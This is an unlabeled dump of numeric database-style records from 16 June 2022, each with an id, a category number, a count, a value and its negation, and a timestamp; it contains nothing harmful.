+11829,6,6638,17.1551631,-17.1551631,2022-06-16 10:27:23.498364+00 +10030,4,5976,11.27203643,-11.27203643,2022-06-16 10:13:14.538814+00 +9472,1,5880,15.46455708,-15.46455708,2022-06-16 10:07:22.524032+00 +16550,4,7735,12.27170182,-12.27170182,2022-06-16 11:00:10.202045+00 +14074,4,7059,10.97668983,-10.97668983,2022-06-16 10:42:28.549123+00 +12916,6,6848,7.412728456,-7.412728456,2022-06-16 10:34:55.332843+00 +14103,4,6944,7.000161176,-7.000161176,2022-06-16 10:42:51.082123+00 +14123,2,7135,10.70796466,-10.70796466,2022-06-16 10:43:04.602403+00 +10092,4,6192,2.165538473,-2.165538473,2022-06-16 10:14:05.226556+00 +10093,4,6200,10.78896142,-10.78896142,2022-06-16 10:14:05.230789+00 +19407,3,8254,15.16190534,-15.16190534,2022-06-16 11:17:08.377441+00 +16591,1,7675,5.181583824,-5.181583824,2022-06-16 11:00:52.905781+00 +10122,1,6239,11.41713273,-11.41713273,2022-06-16 10:14:13.544162+00 +10123,1,6238,11.46152977,-11.46152977,2022-06-16 10:14:13.545351+00 +13008,2,6858,11.12231208,-11.12231208,2022-06-16 10:35:18.150102+00 +16592,1,7659,5.297404083,-5.297404083,2022-06-16 11:00:52.909166+00 +10138,6,6192,4.280378173,-4.280378173,2022-06-16 10:14:15.683218+00 +10974,2,6454,15.63794203,-15.63794203,2022-06-16 10:21:05.00145+00 +16593,1,7465,11.65990229,-11.65990229,2022-06-16 11:00:52.909973+00 +16594,1,7473,11.84241758,-11.84241758,2022-06-16 11:00:52.910871+00 +11981,4,6611,11.58371998,-11.58371998,2022-06-16 10:28:26.705205+00 +11991,6,6651,7.916945662,-7.916945662,2022-06-16 10:28:32.089106+00 +11011,1,6360,14.79978464,-14.79978464,2022-06-16 10:21:37.609335+00 +16595,1,7481,11.61763328,-11.61763328,2022-06-16 11:00:52.91171+00 +12008,1,6717,10.43834341,-10.43834341,2022-06-16 10:28:43.63685+00 +12009,1,6701,10.41561858,-10.41561858,2022-06-16 10:28:43.640404+00 +12010,7,6666,13.99145227,-13.99145227,2022-06-16 10:28:44.349453+00 +10227,2,6263,16.21516474,-16.21516474,2022-06-16 10:15:05.057125+00 +10228,2,6062,16.41443706,-16.41443706,2022-06-16 10:15:05.061024+00 +10229,2,6063,16.40212311,-16.40212311,2022-06-16 10:15:05.061877+00 +10230,2,6143,15.3973991,-15.3973991,2022-06-16 10:15:05.064022+00 +10231,2,6207,15.32398455,-15.32398455,2022-06-16 10:15:05.064823+00 +16596,1,7449,11.71682603,-11.71682603,2022-06-16 11:00:52.912464+00 +18025,2,7920,2.322854079,-2.322854079,2022-06-16 11:09:04.453189+00 +34417,1,10543,5.011732777,-5.011732777,2022-06-16 12:28:59.327769+00 +12062,6,6718,15.53017118,-15.53017118,2022-06-16 10:29:01.868554+00 +19447,6,8255,11.83908421,-11.83908421,2022-06-16 11:17:10.753151+00 +11087,4,6448,1.945774568,-1.945774568,2022-06-16 10:22:06.218366+00 +11088,4,6464,3.904204657,-3.904204657,2022-06-16 10:22:06.222142+00 +21072,3,8560,2.608927915,0,2022-06-16 11:27:11.668748+00 +12085,2,6686,12.2133572,-12.2133572,2022-06-16 10:29:04.619641+00 +11122,6,6464,7.627693365,-7.627693365,2022-06-16 10:22:17.049745+00 +10318,1,5907,13.97499604,-13.97499604,2022-06-16 10:15:49.564978+00 +11130,1,6265,14.65947143,-14.65947143,2022-06-16 10:22:22.586272+00 +11131,1,6257,14.85203786,-14.85203786,2022-06-16 10:22:22.58987+00 +11132,1,6249,14.5959108,-14.5959108,2022-06-16 10:22:22.590917+00 +11133,1,6233,14.56494791,-14.56494791,2022-06-16 10:22:22.591924+00 +11134,1,6305,14.644798,-14.644798,2022-06-16 10:22:22.592867+00 +11135,1,6225,14.57692501,-14.57692501,2022-06-16 10:22:22.593805+00 +11147,1,6463,12.06635424,-12.06635424,2022-06-16 10:22:28.621048+00 +11148,1,6494,10.79641311,-10.79641311,2022-06-16 10:22:28.621844+00 +11149,1,6526,12.39052644,-12.39052644,2022-06-16 10:22:28.622551+00 +11150,1,6334,12.33742383,-12.33742383,2022-06-16 10:22:28.623233+00 +11151,1,6527,12.01495433,-12.01495433,2022-06-16 10:22:28.623876+00 +11152,1,6399,11.96385157,-11.96385157,2022-06-16 10:22:28.625256+00 +11153,1,6462,12.28462597,-12.28462597,2022-06-16 10:22:28.625934+00 +10365,4,6334,14.44376447,-14.44376447,2022-06-16 10:16:09.276693+00 +10366,4,6143,14.30515459,-14.30515459,2022-06-16 10:16:09.280527+00 +10367,4,6207,14.23922226,-14.23922226,2022-06-16 10:16:09.281483+00 +10368,4,6335,14.17365792,-14.17365792,2022-06-16 10:16:09.282457+00 +10369,4,6302,12.73543595,-12.73543595,2022-06-16 10:16:09.283339+00 +13144,4,6894,13.75034324,-13.75034324,2022-06-16 10:36:10.694263+00 +10375,4,6326,14.97970481,-14.97970481,2022-06-16 10:16:10.598289+00 +10376,4,6263,14.94844815,-14.94844815,2022-06-16 10:16:10.601476+00 +10377,4,6327,14.88017024,-14.88017024,2022-06-16 10:16:10.602353+00 +13145,4,6958,13.68901339,-13.68901339,2022-06-16 10:36:10.697497+00 +11171,2,6522,14.17037066,-14.17037066,2022-06-16 10:22:51.765782+00 +13146,4,6974,12.35111327,-12.35111327,2022-06-16 10:36:10.698323+00 +13147,4,6975,11.8885272,-11.8885272,2022-06-16 10:36:10.699093+00 +10393,3,6143,18.28614839,-18.28614839,2022-06-16 10:16:23.734796+00 +10394,3,6207,18.1923646,-18.1923646,2022-06-16 10:16:23.7382+00 +13148,4,6878,10.70886145,-10.70886145,2022-06-16 10:36:10.699988+00 +10401,1,6272,5.854581483,-5.854581483,2022-06-16 10:16:31.55651+00 +10402,1,6256,3.279087553,-3.279087553,2022-06-16 10:16:31.560115+00 +13149,4,6942,10.66224133,-10.66224133,2022-06-16 10:36:10.700894+00 +13150,4,6879,10.70882864,-10.70882864,2022-06-16 10:36:10.701737+00 +10412,6,6303,14.5769926,-14.5769926,2022-06-16 10:16:32.194651+00 +13151,4,6966,13.95306256,-13.95306256,2022-06-16 10:36:10.702436+00 +13152,4,6967,13.90448513,-13.90448513,2022-06-16 10:36:10.703162+00 +13162,6,6973,6.879683666,-6.879683666,2022-06-16 10:36:13.549385+00 +10420,6,6335,15.86144852,-15.86144852,2022-06-16 10:16:32.474092+00 +10422,1,6267,7.441957011,-7.441957011,2022-06-16 10:16:40.558655+00 +10423,1,6259,15.6218204,-15.6218204,2022-06-16 10:16:40.562051+00 +10424,1,6235,8.522570379,-8.522570379,2022-06-16 10:16:40.563051+00 +10425,1,6251,7.569101899,-7.569101899,2022-06-16 10:16:40.564041+00 +14312,1,7229,9.437783168,-9.437783168,2022-06-16 10:44:16.780379+00 +13192,7,6794,13.74133594,-13.74133594,2022-06-16 10:36:22.267422+00 +14313,1,7213,9.383022413,-9.383022413,2022-06-16 10:44:16.783707+00 +19481,4,8032,6.528066421,-6.528066421,2022-06-16 11:17:22.935342+00 +13209,7,6954,14.06199829,-14.06199829,2022-06-16 10:36:25.122711+00 +10436,1,6227,13.8410437,-13.8410437,2022-06-16 10:16:43.565181+00 +10437,1,6243,18.78264679,-18.78264679,2022-06-16 10:16:43.568763+00 +10438,1,6264,14.32308005,-14.32308005,2022-06-16 10:16:43.569745+00 +9683,1,5857,16.00932337,-16.00932337,2022-06-16 10:10:01.547352+00 +20973,6,8542,13.25502008,-13.25502008,2022-06-16 11:26:55.483981+00 +9733,6,6078,16.41940701,-16.41940701,2022-06-16 10:10:16.805635+00 +9473,1,5944,15.40138139,-15.40138139,2022-06-16 10:07:31.564349+00 +17996,1,7997,7.903513067,-7.903513067,2022-06-16 11:09:01.888076+00 +24291,1,8985,9.548312627,-9.548312627,2022-06-16 11:42:53.102331+00 +13919,1,6744,13.71179844,-13.71179844,2022-06-16 10:41:43.775884+00 +10681,1,6381,11.13017517,-11.13017517,2022-06-16 10:18:37.609213+00 +10682,1,6397,11.11022483,-11.11022483,2022-06-16 10:18:37.61252+00 +13945,1,7032,12.68523881,-12.68523881,2022-06-16 10:41:58.775008+00 +15164,2,7370,10.4170839,-10.4170839,2022-06-16 10:50:29.595404+00 +15214,2,7344,2.902138757,-2.902138757,2022-06-16 10:51:04.456862+00 +11783,7,6602,14.156865,-14.156865,2022-06-16 10:27:05.721366+00 +9926,6,6141,8.027787108,-8.027787108,2022-06-16 10:12:21.126775+00 +9927,6,6205,7.999586746,-7.999586746,2022-06-16 10:12:21.130566+00 +16634,2,7735,12.85094633,-12.85094633,2022-06-16 11:01:04.835263+00 +14029,1,7104,4.742730846,-4.742730846,2022-06-16 10:42:10.747698+00 +11831,6,6639,17.00529252,-17.00529252,2022-06-16 10:27:23.530668+00 +9992,2,6144,6.669357844,-6.669357844,2022-06-16 10:13:04.571183+00 +14030,1,7088,2.130191958,-2.130191958,2022-06-16 10:42:10.748942+00 +24292,1,9001,9.428863084,-9.428863084,2022-06-16 11:42:53.105574+00 +12917,1,6811,7.537088643,-7.537088643,2022-06-16 10:34:58.692125+00 +12918,1,6835,14.43819316,-14.43819316,2022-06-16 10:34:58.695748+00 +12933,2,6848,6.724801294,-6.724801294,2022-06-16 10:35:04.420801+00 +10050,1,6104,15.01607604,-15.01607604,2022-06-16 10:13:28.5712+00 +10916,6,6399,15.81582881,-15.81582881,2022-06-16 10:20:35.576778+00 +10917,6,6463,15.73805634,-15.73805634,2022-06-16 10:20:35.580221+00 +10930,6,6461,7.578253096,-7.578253096,2022-06-16 10:20:45.861222+00 +14075,1,7149,9.495005946,-9.495005946,2022-06-16 10:42:28.780708+00 +10094,4,6208,3.954397216,-3.954397216,2022-06-16 10:14:06.558817+00 +14076,1,7165,9.499278169,-9.499278169,2022-06-16 10:42:28.784373+00 +9501,6,5679,17.3313766,-17.3313766,2022-06-16 10:07:51.374777+00 +10116,2,6200,16.32233485,-16.32233485,2022-06-16 10:14:09.458237+00 +14104,2,7114,10.82547352,-10.82547352,2022-06-16 10:42:52.031911+00 +18059,2,7983,11.58067253,-11.58067253,2022-06-16 11:09:05.173598+00 +9505,1,5912,15.26726429,-15.26726429,2022-06-16 10:07:52.528853+00 +11947,4,6640,1.826468066,-1.826468066,2022-06-16 10:28:06.151774+00 +11948,4,6656,3.910219244,-3.910219244,2022-06-16 10:28:06.156196+00 +19482,4,8096,6.510273225,-6.510273225,2022-06-16 11:17:30.502015+00 +11012,4,6232,11.07989089,-11.07989089,2022-06-16 10:21:38.390548+00 +24293,1,9009,9.592216298,-9.592216298,2022-06-16 11:42:53.10661+00 +11992,1,6635,6.659158084,-6.659158084,2022-06-16 10:28:34.662353+00 +11993,1,6619,7.765549124,-7.765549124,2022-06-16 10:28:34.66577+00 +11994,1,6643,14.70254259,-14.70254259,2022-06-16 10:28:34.666613+00 +10211,2,6238,13.79507803,-13.79507803,2022-06-16 10:15:04.662706+00 +11995,1,6651,6.4714991,-6.4714991,2022-06-16 10:28:34.667476+00 +12006,1,6611,13.00856796,-13.00856796,2022-06-16 10:28:40.637937+00 +10232,1,6263,13.57894962,-13.57894962,2022-06-16 10:15:07.555621+00 +12007,1,6627,18.323511,-18.323511,2022-06-16 10:28:40.639269+00 +10245,2,6203,9.566379455,-9.566379455,2022-06-16 10:15:14.52743+00 +12011,1,6457,14.06696761,-14.06696761,2022-06-16 10:28:46.663439+00 +12012,1,6417,14.11197436,-14.11197436,2022-06-16 10:28:46.666978+00 +12013,1,6441,14.00800157,-14.00800157,2022-06-16 10:28:46.668063+00 +11089,4,6445,8.535975585,-8.535975585,2022-06-16 10:22:09.227198+00 +9524,4,6014,14.90322986,-14.90322986,2022-06-16 10:08:05.540914+00 +9525,4,6008,11.4254975,-11.4254975,2022-06-16 10:08:05.544297+00 +9526,4,6000,2.293249773,-2.293249773,2022-06-16 10:08:05.545277+00 +9527,4,6016,3.886302206,-3.886302206,2022-06-16 10:08:05.546277+00 +9528,4,6013,9.448924981,-9.448924981,2022-06-16 10:08:07.928582+00 +9529,4,5997,9.43339719,-9.43339719,2022-06-16 10:08:07.931686+00 +11090,4,6461,8.525019097,-8.525019097,2022-06-16 10:22:09.23072+00 +12014,1,6497,14.12267488,-14.12267488,2022-06-16 10:28:46.668931+00 +12015,1,6449,14.17055761,-14.17055761,2022-06-16 10:28:46.669732+00 +21125,3,8574,14.55285849,-14.55285849,2022-06-16 11:27:54.150275+00 +9534,2,6008,16.85049838,-16.85049838,2022-06-16 10:08:09.445692+00 +11129,2,6506,12.07913055,-12.07913055,2022-06-16 10:22:22.272453+00 +24294,1,9017,9.400490258,-9.400490258,2022-06-16 11:42:53.107403+00 +11154,1,6376,20.61537035,-20.61537035,2022-06-16 10:22:34.641982+00 +11155,1,6448,2.971033029,-2.971033029,2022-06-16 10:22:34.645421+00 +11156,1,6464,5.769106801,-5.769106801,2022-06-16 10:22:34.646226+00 +11157,1,6392,13.90955971,-13.90955971,2022-06-16 10:22:34.647653+00 +34418,1,10558,3.656128349,-3.656128349,2022-06-16 12:28:59.328562+00 +34419,1,10550,11.20649886,-11.20649886,2022-06-16 12:28:59.329331+00 +9543,4,6062,15.73196483,-15.73196483,2022-06-16 10:08:14.701675+00 +9544,4,6063,15.59112619,-15.59112619,2022-06-16 10:08:14.705268+00 +9545,4,5982,13.51416668,-13.51416668,2022-06-16 10:08:16.048748+00 +9546,4,6046,13.45109588,-13.45109588,2022-06-16 10:08:16.052015+00 +9547,1,6000,3.576771074,-3.576771074,2022-06-16 10:08:16.549873+00 +9548,1,6016,5.890459911,-5.890459911,2022-06-16 10:08:16.552962+00 +9549,4,5747,13.84529756,-13.84529756,2022-06-16 10:08:19.777884+00 +9550,4,5811,13.79222744,-13.79222744,2022-06-16 10:08:19.781013+00 +9551,4,5875,13.73941359,-13.73941359,2022-06-16 10:08:19.781836+00 +9552,4,5939,13.68685529,-13.68685529,2022-06-16 10:08:19.78275+00 +9553,4,6003,13.63455182,-13.63455182,2022-06-16 10:08:19.78352+00 +9554,4,5995,6.499147786,-6.499147786,2022-06-16 10:08:19.784284+00 +9555,4,6011,6.336902956,-6.336902956,2022-06-16 10:08:19.785082+00 +9556,4,6078,14.73928186,-14.73928186,2022-06-16 10:08:21.10606+00 +34420,1,10542,4.716429669,-4.716429669,2022-06-16 12:28:59.330042+00 +15463,6,7485,6.166488198,-6.166488198,2022-06-16 10:52:52.659691+00 +15481,2,7408,2.893861719,-2.893861719,2022-06-16 10:53:04.475279+00 +19681,6,8286,13.74432562,-13.74432562,2022-06-16 11:18:47.134992+00 +9561,6,5995,8.73811557,-8.73811557,2022-06-16 10:08:28.44963+00 +12119,2,6718,13.84318614,-13.84318614,2022-06-16 10:29:05.428317+00 +10360,4,6264,10.71048666,-10.71048666,2022-06-16 10:16:05.639793+00 +10361,4,6256,2.124760063,-2.124760063,2022-06-16 10:16:05.643786+00 +10362,4,6272,3.905275021,-3.905275021,2022-06-16 10:16:05.645071+00 +9566,6,6011,8.53311554,-8.53311554,2022-06-16 10:08:28.68956+00 +14314,4,7223,13.47112869,-13.47112869,2022-06-16 10:44:17.584219+00 +13163,1,6942,9.455527972,-9.455527972,2022-06-16 10:36:13.697348+00 +11209,2,6519,15.46324313,-15.46324313,2022-06-16 10:23:04.968895+00 +13164,1,6888,19.82002835,-19.82002835,2022-06-16 10:36:13.700813+00 +13165,1,6974,10.98316998,-10.98316998,2022-06-16 10:36:13.70172+00 +9572,3,6064,7.369033882,-7.369033882,2022-06-16 10:08:29.636598+00 +13166,1,6958,12.20931505,-12.20931505,2022-06-16 10:36:13.702456+00 +11227,6,6509,7.485627157,-7.485627157,2022-06-16 10:23:06.063382+00 +10395,2,6253,12.21049654,-12.21049654,2022-06-16 10:16:24.309127+00 +11232,6,6525,7.477682047,-7.477682047,2022-06-16 10:23:08.143416+00 +13167,1,6975,10.57454395,-10.57454395,2022-06-16 10:36:13.703267+00 +9578,6,6000,4.174199217,-4.174199217,2022-06-16 10:08:30.349007+00 +11245,2,6443,9.505757292,-9.505757292,2022-06-16 10:23:14.574016+00 +10406,6,6302,14.44106912,-14.44106912,2022-06-16 10:16:32.04521+00 +26479,2,9322,8.074441144,-8.074441144,2022-06-16 11:51:13.642387+00 +14334,6,7168,7.10105325,-7.10105325,2022-06-16 10:44:22.209362+00 +9583,6,6016,6.811291875,-6.811291875,2022-06-16 10:08:30.557483+00 +9584,1,6077,12.031057,-12.031057,2022-06-16 10:08:31.525485+00 +9585,1,6061,12.00586352,-12.00586352,2022-06-16 10:08:31.528803+00 +9586,2,6026,12.8796121,-12.8796121,2022-06-16 10:08:35.767076+00 +9587,1,6011,8.181062369,-8.181062369,2022-06-16 10:08:37.524613+00 +9588,1,5995,8.353950988,-8.353950988,2022-06-16 10:08:37.526002+00 +9589,1,6047,12.01659305,-12.01659305,2022-06-16 10:08:43.551215+00 +9590,1,6046,12.03176686,-12.03176686,2022-06-16 10:08:43.554731+00 +9591,1,6001,16.27144423,-16.27144423,2022-06-16 10:08:52.553493+00 +9592,1,5817,16.11761301,-16.11761301,2022-06-16 10:08:52.557644+00 +9593,1,5841,16.11953692,-16.11953692,2022-06-16 10:08:52.55878+00 +9594,1,5785,16.04364217,-16.04364217,2022-06-16 10:08:52.559824+00 +9595,1,5801,16.00661844,-16.00661844,2022-06-16 10:08:52.56072+00 +9596,7,5802,15.11887785,-15.11887785,2022-06-16 10:08:53.512657+00 +9597,2,6058,12.98858295,-12.98858295,2022-06-16 10:08:55.381996+00 +19361,2,8223,9.752091549,-9.752091549,2022-06-16 11:17:04.70883+00 +20975,6,8496,1.713431969,0,2022-06-16 11:26:55.507152+00 +21016,6,8554,13.17382974,-13.17382974,2022-06-16 11:27:02.027943+00 +13920,4,6968,10.27522148,-10.27522148,2022-06-16 10:41:55.00587+00 +10683,1,6137,15.12168748,-15.12168748,2022-06-16 10:18:40.610174+00 +9603,2,6000,4.167683206,-4.167683206,2022-06-16 10:09:04.445853+00 +9807,1,6040,15.16214709,-15.16214709,2022-06-16 10:11:13.554382+00 +10684,1,6097,15.16383627,-15.16383627,2022-06-16 10:18:40.613575+00 +10685,1,6129,15.28062155,-15.28062155,2022-06-16 10:18:40.61455+00 +10686,1,6105,15.02176102,-15.02176102,2022-06-16 10:18:40.615323+00 +9608,2,6016,6.800301069,-6.800301069,2022-06-16 10:09:04.560703+00 +9876,4,6128,2.221764775,-2.221764775,2022-06-16 10:12:05.961063+00 +9877,4,6136,11.2448442,-11.2448442,2022-06-16 10:12:05.964833+00 +9878,4,6144,3.790407408,-3.790407408,2022-06-16 10:12:05.96583+00 +10687,1,6121,14.98854344,-14.98854344,2022-06-16 10:18:40.616096+00 +9928,2,6154,12.54889688,-12.54889688,2022-06-16 10:12:22.011737+00 +9614,2,6046,14.34466896,-14.34466896,2022-06-16 10:09:04.705424+00 +10688,1,6113,15.0680193,-15.0680193,2022-06-16 10:18:40.616856+00 +15165,1,7323,6.831935365,-6.831935365,2022-06-16 10:50:34.835818+00 +9978,6,6144,6.800177052,-6.800177052,2022-06-16 10:12:52.156691+00 +9994,2,6174,13.96347732,-13.96347732,2022-06-16 10:13:04.601782+00 +10732,2,6391,15.72573303,-15.72573303,2022-06-16 10:19:04.959036+00 +9620,2,6047,14.4520159,-14.4520159,2022-06-16 10:09:04.850907+00 +11743,2,6592,7.006638938,-7.006638938,2022-06-16 10:27:04.579994+00 +10771,3,6384,6.649882648,-6.649882648,2022-06-16 10:19:24.331143+00 +11744,2,6622,12.46527498,-12.46527498,2022-06-16 10:27:04.583145+00 +10803,2,6394,14.39383187,-14.39383187,2022-06-16 10:19:41.651601+00 +15166,1,7339,5.504956944,-5.504956944,2022-06-16 10:50:34.839097+00 +15167,1,7347,13.91680577,-13.91680577,2022-06-16 10:50:34.839961+00 +11784,1,6568,20.24025663,-20.24025663,2022-06-16 10:27:07.660626+00 +10869,4,6395,5.959347399,-5.959347399,2022-06-16 10:20:24.055932+00 +10095,1,6187,8.093763173,-8.093763173,2022-06-16 10:14:07.572705+00 +10096,1,6203,7.90201591,-7.90201591,2022-06-16 10:14:07.576155+00 +10107,6,6239,14.51284894,-14.51284894,2022-06-16 10:14:09.258118+00 +10884,2,6397,11.8366407,-11.8366407,2022-06-16 10:20:29.444245+00 +15168,1,7355,5.359111479,-5.359111479,2022-06-16 10:50:34.840728+00 +34421,1,10527,6.966093244,-6.966093244,2022-06-16 12:28:59.330808+00 +10918,1,6430,10.95034409,-10.95034409,2022-06-16 10:20:37.582989+00 +10919,1,6431,10.96881921,-10.96881921,2022-06-16 10:20:37.586451+00 +9637,2,5995,10.14188427,-10.14188427,2022-06-16 10:09:14.430943+00 +10160,2,6218,12.40457573,-12.40457573,2022-06-16 10:14:22.296509+00 +10931,2,6410,12.000448,-12.000448,2022-06-16 10:20:57.293814+00 +10941,6,6400,7.693951192,-7.693951192,2022-06-16 10:20:59.704076+00 +10951,2,6400,7.059207222,-7.059207222,2022-06-16 10:21:04.550858+00 +9642,2,6011,9.913749002,-9.913749002,2022-06-16 10:09:14.554132+00 +10188,6,6269,7.915525198,-7.915525198,2022-06-16 10:14:44.688832+00 +12868,1,6649,13.56776178,-13.56776178,2022-06-16 10:34:16.739558+00 +10203,2,6192,4.018438901,-4.018438901,2022-06-16 10:15:04.487109+00 +12869,1,6843,6.22346925,-6.22346925,2022-06-16 10:34:16.743033+00 +12870,1,6625,13.71415203,-13.71415203,2022-06-16 10:34:16.743929+00 +9648,1,6008,15.25318738,-15.25318738,2022-06-16 10:09:22.554268+00 +9649,7,5930,15.01367081,-15.01367081,2022-06-16 10:09:30.231203+00 +9650,7,6026,14.83814735,-14.83814735,2022-06-16 10:09:37.852243+00 +10221,2,6078,15.47659368,-15.47659368,2022-06-16 10:15:04.901659+00 +12871,1,6617,13.64190202,-13.64190202,2022-06-16 10:34:16.744824+00 +10233,7,6218,14.45897656,-14.45897656,2022-06-16 10:15:08.721822+00 +12872,1,6827,6.361505675,-6.361505675,2022-06-16 10:34:16.745759+00 +12873,1,6609,13.55832989,-13.55832989,2022-06-16 10:34:16.746636+00 +12874,1,6641,13.67549641,-13.67549641,2022-06-16 10:34:16.747634+00 +12875,1,6633,13.42964282,-13.42964282,2022-06-16 10:34:16.748416+00 +12902,6,6827,7.927691509,-7.927691509,2022-06-16 10:34:24.518077+00 +11949,1,6584,13.58543504,-13.58543504,2022-06-16 10:28:07.669663+00 +18091,6,7936,6.582514122,-6.582514122,2022-06-16 11:09:05.731769+00 +9661,2,6074,14.70533366,-14.70533366,2022-06-16 10:09:40.523992+00 +9662,1,5976,15.21435585,-15.21435585,2022-06-16 10:09:43.550041+00 +14077,1,6897,13.02409642,-13.02409642,2022-06-16 10:42:31.771305+00 +14078,1,6873,12.91129129,-12.91129129,2022-06-16 10:42:31.774742+00 +12016,1,6710,12.92558367,-12.92558367,2022-06-16 10:28:52.666128+00 +12017,1,6686,10.21269363,-10.21269363,2022-06-16 10:28:52.669721+00 +12018,1,6702,13.13104448,-13.13104448,2022-06-16 10:28:52.670799+00 +11091,1,6427,8.183770198,-8.183770198,2022-06-16 10:22:10.613643+00 +11092,1,6451,15.2060917,-15.2060917,2022-06-16 10:22:10.616974+00 +11093,1,6443,7.095211785,-7.095211785,2022-06-16 10:22:10.617865+00 +11094,1,6459,6.924534132,-6.924534132,2022-06-16 10:22:10.61873+00 +12019,1,6703,13.00653538,-13.00653538,2022-06-16 10:28:52.67178+00 +11111,1,6509,10.88814805,-10.88814805,2022-06-16 10:22:16.592588+00 +11112,1,6525,10.86913238,-10.86913238,2022-06-16 10:22:16.593868+00 +11117,6,6448,4.060351101,-4.060351101,2022-06-16 10:22:16.827553+00 +12020,1,6718,11.76865786,-11.76865786,2022-06-16 10:28:52.672595+00 +11136,4,6443,6.06681196,-6.06681196,2022-06-16 10:22:23.010784+00 +10363,4,6269,8.889783306,-8.889783306,2022-06-16 10:16:07.838584+00 +10364,4,6253,8.873820583,-8.873820583,2022-06-16 10:16:07.842017+00 +12021,1,6719,11.38640741,-11.38640741,2022-06-16 10:28:52.673369+00 +10374,2,6264,16.23168837,-16.23168837,2022-06-16 10:16:09.44812+00 +11158,1,6312,20.50117326,-20.50117326,2022-06-16 10:22:37.625455+00 +12022,1,6687,10.19573356,-10.19573356,2022-06-16 10:28:52.67448+00 +12023,1,6711,12.79684938,-12.79684938,2022-06-16 10:28:52.675229+00 +12971,2,6902,14.61809392,-14.61809392,2022-06-16 10:35:05.200251+00 +10391,4,6251,6.249656377,-6.249656377,2022-06-16 10:16:20.797627+00 +10392,4,6267,6.094550023,-6.094550023,2022-06-16 10:16:20.800967+00 +14079,1,6905,12.75974534,-12.75974534,2022-06-16 10:42:31.775622+00 +10400,2,6269,12.18629444,-12.18629444,2022-06-16 10:16:24.421043+00 +12054,6,6702,17.00090025,-17.00090025,2022-06-16 10:29:01.593217+00 +14080,1,6889,12.7352665,-12.7352665,2022-06-16 10:42:31.776507+00 +14081,1,6881,12.87999602,-12.87999602,2022-06-16 10:42:31.777338+00 +16699,2,7675,8.348642996,-8.348642996,2022-06-16 11:01:14.550834+00 +10416,6,6334,16.1315587,-16.1315587,2022-06-16 10:16:32.381947+00 +13039,6,6894,16.54682685,-16.54682685,2022-06-16 10:35:30.83697+00 +12088,1,6632,20.13805209,-20.13805209,2022-06-16 10:29:04.669561+00 +10421,2,6282,12.26231418,-12.26231418,2022-06-16 10:16:35.357515+00 +21074,6,8549,14.82839645,-14.82839645,2022-06-16 11:27:12.897666+00 +14146,2,7166,11.98229299,-11.98229299,2022-06-16 10:43:05.217815+00 +10430,6,6251,8.44616155,-8.44616155,2022-06-16 10:16:41.293885+00 +11233,2,6245,20.52559661,-20.52559661,2022-06-16 10:23:09.348451+00 +10435,6,6267,8.248740262,-8.248740262,2022-06-16 10:16:41.508217+00 +11234,2,6309,20.44101059,-20.44101059,2022-06-16 10:23:09.351662+00 +11235,2,6373,20.35660987,-20.35660987,2022-06-16 10:23:09.352478+00 +11240,2,6459,9.326000931,-9.326000931,2022-06-16 10:23:14.45386+00 +24349,2,9087,6.564127914,-6.564127914,2022-06-16 11:43:05.439244+00 +10443,7,6264,26.13384073,-26.13384073,2022-06-16 10:16:43.963444+00 +10444,7,6328,26.02781956,-26.02781956,2022-06-16 10:16:43.966885+00 +12131,2,6635,9.377776525,-9.377776525,2022-06-16 10:29:14.430726+00 +22548,6,8799,12.89103833,-12.89103833,2022-06-16 11:35:02.672129+00 +10447,1,6333,11.30284402,-11.30284402,2022-06-16 10:16:46.530259+00 +10448,1,6317,11.27772327,-11.27772327,2022-06-16 10:16:46.533682+00 +10449,1,6232,14.89360194,-14.89360194,2022-06-16 10:16:46.534613+00 +19411,3,8255,14.86368223,-14.86368223,2022-06-16 11:17:08.457632+00 +11642,6,6587,7.881210082,-7.881210082,2022-06-16 10:26:11.394818+00 +32134,6,10067,14.04709071,-14.04709071,2022-06-16 12:17:01.713747+00 +10689,2,6346,12.15629034,-12.15629034,2022-06-16 10:18:44.685124+00 +15169,4,7264,6.93341477,-6.93341477,2022-06-16 10:50:36.560724+00 +12764,6,6815,13.51244396,-13.51244396,2022-06-16 10:33:53.453783+00 +18062,2,7998,9.25584323,-9.25584323,2022-06-16 11:09:05.200632+00 +15245,2,7415,13.56973092,-13.56973092,2022-06-16 10:51:05.173396+00 +21075,2,8566,12.64660563,-12.64660563,2022-06-16 11:27:14.349474+00 +21076,2,8246,12.59353127,-12.59353127,2022-06-16 11:27:14.353355+00 +15294,6,7390,13.60556443,-13.60556443,2022-06-16 10:51:38.113678+00 +14082,4,7000,11.06549799,-11.06549799,2022-06-16 10:42:34.898574+00 +21077,2,8310,12.54075264,-12.54075264,2022-06-16 11:27:14.354349+00 +16751,1,7672,11.53725295,-11.53725295,2022-06-16 11:02:04.896974+00 +10885,1,6241,14.99975547,-14.99975547,2022-06-16 10:20:31.624779+00 +10886,1,6185,14.85500685,-14.85500685,2022-06-16 10:20:31.628095+00 +10887,1,6169,14.82300179,-14.82300179,2022-06-16 10:20:31.628932+00 +10888,1,6161,14.8656222,-14.8656222,2022-06-16 10:20:31.629779+00 +10889,1,6454,13.3321004,-13.3321004,2022-06-16 10:20:31.630617+00 +10890,1,6455,13.28611465,-13.28611465,2022-06-16 10:20:31.631441+00 +10891,1,6201,14.75829729,-14.75829729,2022-06-16 10:20:31.632243+00 +10892,1,6193,14.9509495,-14.9509495,2022-06-16 10:20:31.632949+00 +11877,2,6602,11.51851049,-11.51851049,2022-06-16 10:27:51.775099+00 +21078,2,8374,12.48826842,-12.48826842,2022-06-16 11:27:14.355325+00 +14167,2,7099,8.711765489,-8.711765489,2022-06-16 10:43:14.548375+00 +21079,2,8438,12.43607726,-12.43607726,2022-06-16 11:27:14.356238+00 +15387,6,7408,3.231689741,-3.231689741,2022-06-16 10:52:12.331787+00 +10963,2,6431,13.22208841,-13.22208841,2022-06-16 10:21:04.82895+00 +14216,6,7167,14.28365623,-14.28365623,2022-06-16 10:43:34.857233+00 +10978,2,6455,15.66774972,-15.66774972,2022-06-16 10:21:05.077757+00 +10988,2,6395,9.399338157,-9.399338157,2022-06-16 10:21:14.570732+00 +11950,4,6637,8.293009866,-8.293009866,2022-06-16 10:28:10.275216+00 +11951,4,6653,8.282945283,-8.282945283,2022-06-16 10:28:10.278329+00 +11952,4,6710,14.35645461,-14.35645461,2022-06-16 10:28:10.27918+00 +11953,4,6711,14.21718201,-14.21718201,2022-06-16 10:28:10.27997+00 +11954,4,6718,13.19366579,-13.19366579,2022-06-16 10:28:10.280705+00 +11955,4,6638,14.55651816,-14.55651816,2022-06-16 10:28:10.281454+00 +16810,3,7661,12.05746737,-12.05746737,2022-06-16 11:02:18.914356+00 